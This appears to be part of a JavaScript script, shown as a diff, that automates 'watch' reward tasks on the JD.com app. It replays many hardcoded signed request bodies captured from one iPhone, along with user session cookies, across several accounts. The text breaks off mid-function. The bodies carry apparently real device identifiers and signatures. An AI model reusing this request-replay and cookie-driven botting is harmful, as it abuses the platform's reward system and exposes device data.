`area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232072753%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fd5871c8c2f6cdd7aeec608b9a920a15&st=1608135788189&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230354156%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=53de468b75938e0f97bf3ac565e6541f&st=1608135803533&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230474392%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=969330bffe9c6ad2ea30e5675d58c8a0&st=1608135817731&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241113475%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=154516384d1cd467fe64e11444b2c731&st=1608135832187&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240814080%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=517e373df7f0929524dc36fe6dad630d&st=1608135847506&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239281739%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=9238b4f17dbb8f46f3f61898588c09f2&st=1608135861442&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239326056%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=c440b5ccd3393566befc3da4a3a32c23&st=1608135874985&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239966731%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=4e92a93c2985165670d4bdd8fac62b62&st=1608135889532&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228925366%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=462d9bb4f828f495797d82e6b403789d&st=1608135902900&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241141664%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=7283e2c5a24e392c66dc02b1e073f154&st=1608135932827&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239879879%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=2efca2d6ae6971cb924ca2de521548cf&st=1608135954339&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240921105%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=24cff3a417bb95f9360cbae5a90dc2df&st=1608135968677&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239913667%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=1f3983c32ad4f6aff614018e06ba0210&st=1608135982853&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228195657%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=cd5639e8f4e8ae35ab8ac9593d71f2ed&st=1608135997381&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232232068%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=5270d376f680afaee053c7d3a760f24c&st=1608136011993&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22231078213%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=103ba8fdc7fcf377e40360a089bbba6d&st=1608136025797&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228889429%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=b57fa95ca54dd0a6104c5aff99efa60e&st=1608136042516&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239891037%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=37907fdd42eb90cdb38b1534b5f82623&st=1608136057117&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239349437%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=de5492702084ea8d64e77b5a05a26508&st=1608135090210&sv=111&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJbL8Z8Ji5qW2Orjpl0%2BzyRPbn4M%2BsWaSKGP0oBktuYYM5pyBaI0RqkeXBgu6TJZdGHo2xvPne18Dzkk1A7m%2BLqBuD2mrzLZjK%2BrWdDdNBD9pQPajs0rQAp%2Bu4eLnMSDTc7xxKGmxZ6YlvLbYtQu1%2B/z4woT25IKqETrcboP4nZzsjKlRbBnlsrQ%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=unknown`, +] + +function preload(){ + const fs = require('fs'); + let raw = fs.readFileSync('watch.chlsj'); + let s = JSON.parse(raw); + s.map(vo=>{ + let doTask = vo.request.header.headers.filter(vo=>vo['name'] === ":path" && vo['value'].indexOf('discDoTask')>0)[0] + if(doTask){ + doBody.push(vo.request.body.text) + }else{ + acceptBody.push(vo.request.body.text) + } + }) +} +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if ($.isNode()) { + const fs = require('fs'); + try { + if (fs.existsSync('watch.chlsj')) { + preload() + if (doBody.length < 40) { + console.log(`${$.name}Body数小于40,无法完成任务!`) + } + } + if (process.env.WATCH_ACCEPTBODY && process.env.WATCH_DOBODY) { + acceptBody = process.env.WATCH_ACCEPTBODY.split('@'); + doBody = process.env.WATCH_DOBODY.split('@'); + console.log(`\n环境变量提供的acceptBody数量:${acceptBody.length}`) + console.log(`环境变量提供的doBody:数量${doBody.length}\n`) + } + } catch (err) { + console.error(err) + } + console.log(`\nacceptBody数量:${acceptBody.length}`) + console.log(`doBody:数量${doBody.length}\n`) + } + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdHealth() + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdHealth() { + $.bean = 0 + await getTaskList() + if($.task) { + console.log(`${$.name}浏览次数:${$.task.times}/${$.task.maxTimes}`) + let i = 0, j = $.task.times + while(j < $.task.maxTimes) { + if (!acceptBody[i]) break + let res = await acceptTask(acceptBody[i++]) + if (res['success']) { + await $.wait(10000) + await doTask(doBody[i-1]) + j++ + } + await $.wait(500); + } + await getTaskList() + if ($.task.times===$.task.maxTimes) + await reward() + } +} + +function showMsg() { + return new Promise(async resolve => { + // $.msg($.name, '', `京东账号${$.index} 